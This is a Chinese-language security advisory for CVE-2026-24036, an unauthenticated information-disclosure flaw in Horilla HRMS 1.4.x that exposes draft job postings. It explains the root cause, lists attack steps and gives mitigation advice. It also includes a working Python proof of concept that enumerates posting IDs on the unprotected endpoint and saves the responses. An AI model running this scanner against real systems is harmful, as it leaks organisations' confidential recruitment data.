IPBUF安全漏洞报告
English
CVE-2026-24036 CVSS 5.3 中危

CVE-2026-24036 Horilla HRMS未授权访问招聘信息漏洞

披露日期: 2026-01-22

漏洞信息

漏洞编号
CVE-2026-24036
漏洞类型
未授权访问/信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Horilla HRMS

相关标签

CVE-2026-24036未授权访问信息泄露Horilla HRMSBroken Access ControlOWASP Top 10招聘系统漏洞

漏洞概述

Horilla是一款免费开源的人力资源管理系统(HRMS)。该系统在1.4.0及以上版本中存在严重的安全漏洞,攻击者可以通过访问/recruitment/recruitment-details/<id>/端点,无需任何认证即可获取未发布的招聘信息。这些信息包括草稿状态的职位名称、职位描述以及申请链接。攻击者利用此漏洞可以在未经授权的情况下查看企业内部未公开的招聘职位,进而访问这些职位的申请工作流程。此漏洞会导致敏感内部招聘信息的泄露,可能造成候选人混淆以及企业招聘策略被竞争对手获取等严重后果。该漏洞已在1.5.0版本中得到修复。

技术细节

该漏洞属于未授权访问漏洞(Broken Access Control),是OWASP Top 10中最常见的安全风险之一。漏洞根源在于Horilla HRMS的招聘模块在处理/recruitment/recruitment-details/<id>/请求时,缺少对用户身份和权限的验证逻辑。具体来说,系统直接根据URL中的ID参数返回对应的职位详情,而未检查请求者是否具有查看该职位的权限。由于该端点未设置任何认证要求(Authentication: None),任何网络中的攻击者都可以直接访问。攻击者只需遍历不同的ID值,即可获取系统中所有未发布的职位信息,包括draft状态的职位。这种设计缺陷使得本应仅对内部HR人员可见的敏感招聘信息完全暴露在公网环境中。

攻击链分析

STEP 1
步骤1
攻击者识别目标网站使用的Horilla HRMS系统版本≥1.4.0
STEP 2
步骤2
攻击者构造HTTP GET请求访问/recruitment/recruitment-details/<id>/端点
STEP 3
步骤3
由于端点缺少认证检查,服务器直接返回该ID对应的职位详情
STEP 4
步骤4
响应内容包含未发布的职位信息,如草稿职位名称、描述和申请链接
STEP 5
步骤5
攻击者遍历不同ID获取更多未公开的招聘职位信息
STEP 6
步骤6
利用获取的信息进行社会工程攻击或竞争情报收集

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-24036 PoC - Unauthenticated access to unpublished job postings # Target: Horilla HRMS < 1.5.0 target_url = input("Enter target URL (e.g., http://target.com): ") # Try to access recruitment details endpoint without authentication for job_id in range(1, 100): url = f"{target_url}/recruitment/recruitment-details/{job_id}/" try: response = requests.get(url, timeout=10) if response.status_code == 200: # Check if response contains unpublished job information if "draft" in response.text.lower() or "job_title" in response.text: print(f"[!] Found unpublished job posting at ID: {job_id}") print(f"[+] URL: {url}") print(f"[+] Response length: {len(response.text)} bytes") # Save response for analysis with open(f"job_{job_id}_response.html", "w") as f: f.write(response.text) print(f"[+] Response saved to job_{job_id}_response.html") except requests.exceptions.RequestException as e: print(f"[-] Error accessing {url}: {e}") print("[*] Scan completed.")

影响范围

Horilla HRMS 1.4.0 - 1.4.x
Horilla HRMS < 1.5.0

防御指南

临时缓解措施
如果无法立即升级,可临时在Web服务器层面限制/recruitment/recruitment-details/端点的访问,或配置Nginx/Apache等反向代理添加基本的访问控制策略,阻止未授权用户访问该路径。同时建议监控访问日志,关注异常的职位详情请求行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表